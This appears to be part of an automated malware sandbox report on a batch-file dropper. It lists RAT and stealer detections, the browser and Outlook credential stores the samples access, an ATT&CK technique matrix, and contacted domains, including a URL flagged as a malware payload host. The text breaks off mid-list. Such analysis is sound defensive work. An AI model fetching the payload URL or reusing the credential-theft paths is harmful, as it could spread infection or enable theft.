Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 6_2_02C39194 GetLocalTime,

6_2_02C39194

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 6_2_02C3B714 GetVersionExA,

6_2_02C3B714

Source: C:\Windows\System32\cscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 13.0.Microsofts.exe.350000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Microsofts.exe PID: 1664, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, type: DROPPED

Yara detected PureLog Stealer

Source: Yara match	File source: 24.2.rpkhzpuO.pif.31b93f56.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.343b0000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.250f0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.3.rpkhzpuO.pif.2ffbae98.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.343b0f08.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.26485570.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.34b30000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.31b94e5e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.31b94e5e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.32f76478.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.24ed3f56.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.24ed4e5e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.32fb3d90.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.32f76478.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.25380000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.24ed3f56.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.32fb3d90.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.31b93f56.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.rpkhzpuO.pif.2d0de3e8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.rpkhzpuO.pif.234e1460.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.343b0f08.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.rpkhzpuO.pif.234e1460.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.26486478.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.rpkhzpuO.pif.2d0de3e8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.26486478.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.250f0f08.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.34b30000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.32f75570.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.343b0000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.250f0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.250f0f08.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.264c3d90.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.264c3d90.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.26485570.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.32f75570.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.25380000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.24ed4e5e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.3.rpkhzpuO.pif.2ffbae98.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.2745277954.0000000034B30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2772871636.00000000234E1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2448553311.000000002D0DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2871352037.0000000025380000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2881899810.0000000026485000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2741756362.00000000343B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2718853988.0000000031B53000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2869962358.00000000250F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2609245491.000000002FFBA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2869415210.0000000024E93000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2740855997.0000000032F75000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 13.0.Microsofts.exe.350000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Microsofts.exe PID: 1664, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 13.0.Microsofts.exe.350000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.4634725765.000000000269F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4634725765.0000000002794000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Microsofts.exe PID: 1664, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, type: DROPPED

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 13.0.Microsofts.exe.350000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Microsofts.exe PID: 1664, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, type: DROPPED

Yara detected PureLog Stealer

Source: Yara match	File source: 24.2.rpkhzpuO.pif.31b93f56.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.343b0000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.250f0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.3.rpkhzpuO.pif.2ffbae98.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.343b0f08.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.26485570.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.34b30000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.31b94e5e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.31b94e5e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.32f76478.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.24ed3f56.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.24ed4e5e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.32fb3d90.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.32f76478.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.25380000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.24ed3f56.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.32fb3d90.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.31b93f56.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.rpkhzpuO.pif.2d0de3e8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.rpkhzpuO.pif.234e1460.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.343b0f08.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.rpkhzpuO.pif.234e1460.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.26486478.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.rpkhzpuO.pif.2d0de3e8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.26486478.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.250f0f08.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.34b30000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.32f75570.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.343b0000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.250f0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.250f0f08.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.264c3d90.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.264c3d90.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.26485570.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.rpkhzpuO.pif.32f75570.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.25380000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.rpkhzpuO.pif.24ed4e5e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.3.rpkhzpuO.pif.2ffbae98.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.2745277954.0000000034B30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2772871636.00000000234E1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2448553311.000000002D0DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2871352037.0000000025380000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2881899810.0000000026485000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2741756362.00000000343B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2718853988.0000000031B53000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2869962358.00000000250F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2609245491.000000002FFBA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2869415210.0000000024E93000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2740855997.0000000032F75000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 13.0.Microsofts.exe.350000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000000.2475752594.0000000000352000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Microsofts.exe PID: 1664, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	1 Valid Accounts	2 Native API	22 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Shared Modules	1 DLL Side-Loading	1 Valid Accounts	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 System Network Connections Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Valid Accounts	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	311 Process Injection	2 Software Packing	NTDS	46 System Information Discovery	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	21 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Timestomp	LSA Secrets	351 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	21 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Cached Domain Credentials	51 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Valid Accounts	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	51 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	311 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO#3_RKG367.bat	24%	ReversingLabs	Script-BAT.Trojan.Malgent

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Public\Libraries\Oupzhkpr.PIF	100%	Avira	HEUR/AGEN.1326019
C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Local\Temp\x.exe	100%	Avira	HEUR/AGEN.1326019
C:\Users\user\AppData\Local\Temp\Microsofts.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Microsofts.exe	100%	Joe Sandbox ML
C:\Users\Public\Libraries\Oupzhkpr.PIF	47%	ReversingLabs	Win32.Trojan.DBatLoader
C:\Users\Public\Libraries\rpkhzpuO.pif	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Microsofts.exe	91%	ReversingLabs	ByteCode-MSIL.Spyware.Snakekeylogger
C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	79%	ReversingLabs	ByteCode-MSIL.Infostealer.ClipBanker
C:\Users\user\AppData\Local\Temp\x.exe	47%	ReversingLabs	Win32.Trojan.DBatLoader

Source	Detection	Scanner	Label
https://lwaziacademy.com/	0%	Avira URL Cloud	safe
https://lwaziacademy.com/wps/200_Oupzhkprnvw	100%	Avira URL Cloud	malware
https://lwaziacademy.com/wps/200	0%	Avira URL Cloud	safe
https://lwaziacademy.com:443/wps/200_Oupzhkprnvw	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	104.21.80.1	true	false	high
lwaziacademy.com	41.185.8.252	true	true	unknown
checkip.dyndns.com	158.101.44.242	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false		high
https://lwaziacademy.com/wps/200_Oupzhkprnvw	true	Avira URL Cloud: malware	unknown
http://checkip.dyndns.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 0000000E.00000002.2580997987.0000000005356000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000E.00000002.2558666717.0000000004446000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000E.00000002.2558666717.0000000004446000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000E.00000002.2558666717.0000000004446000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lwaziacademy.com:443/wps/200_Oupzhkprnvw	x.exe, 00000006.00000002.2450193992.0000000000609000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://reallyfreegeoip.orgd	Microsofts.exe, 0000000D.00000002.4634725765.00000000026DB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000002.2652352193.0000000020A2E000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000015.00000003.2588721035.000000000084F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoft.co	powershell.exe, 0000000E.00000002.2654422100.0000000007C73000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000E.00000002.2580997987.0000000005356000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000000E.00000002.2580997987.0000000005356000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.1d	Microsofts.exe, 0000000D.00000002.4634725765.00000000026BE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	Microsofts.exe, 0000000D.00000002.4634725765.0000000002641000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 0000000D.00000002.4634725765.00000000026BE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	x.exe, 00000006.00000003.2437514214.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007ECB9000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2528347556.0000000021CA6000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2437514214.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000006.00000002.2508181748.0000000020AC2000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000002.2533914896.000000007F209000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436310186.000000007EC63000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000006.00000003.2436773269.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 0000000A.00000001.2446233147.0000000000B49000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 